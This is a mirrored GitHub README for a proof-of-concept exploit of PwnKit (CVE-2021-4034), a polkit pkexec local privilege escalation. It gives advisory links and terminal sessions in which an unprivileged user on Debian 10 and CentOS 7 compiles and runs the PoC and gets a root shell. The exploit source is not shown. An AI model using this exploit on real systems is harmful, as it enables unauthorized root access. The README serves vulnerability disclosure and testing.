mirror of
https://github.com/arthepsy/CVE-2021-4034.git
synced 2025-04-19 16:44:04 +01:00
32 lines
1.2 KiB
Markdown
32 lines
1.2 KiB
Markdown
# CVE-2021-4034
|
||
PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)
|
||
|
||
https://seclists.org/oss-sec/2022/q1/80
|
||
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
|
||
|
||
# PoC
|
||
|
||
Verified on Debian 10 and CentOS 7.
|
||
|
||
```
|
||
user@debian:~$ grep PRETTY /etc/os-release
|
||
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
|
||
user@debian:~$ id
|
||
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
|
||
user@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
|
||
user@debian:~$ ./cve-2021-4034-poc
|
||
# id
|
||
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(user)
|
||
```
|
||
|
||
```
|
||
[user@centos ~]$ grep PRETTY /etc/os-release
|
||
PRETTY_NAME="CentOS Linux 7 (Core)"
|
||
[user@centos ~]$ id
|
||
uid=11000(user) gid=11000(user) groups=11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
|
||
[user@centos ~]$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
|
||
[user@centos ~]$ ./cve-2021-4034-poc
|
||
sh-4.2# id
|
||
uid=0(root) gid=0(root) groups=0(root),11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
|
||
sh-4.2# exit
|
||
```
|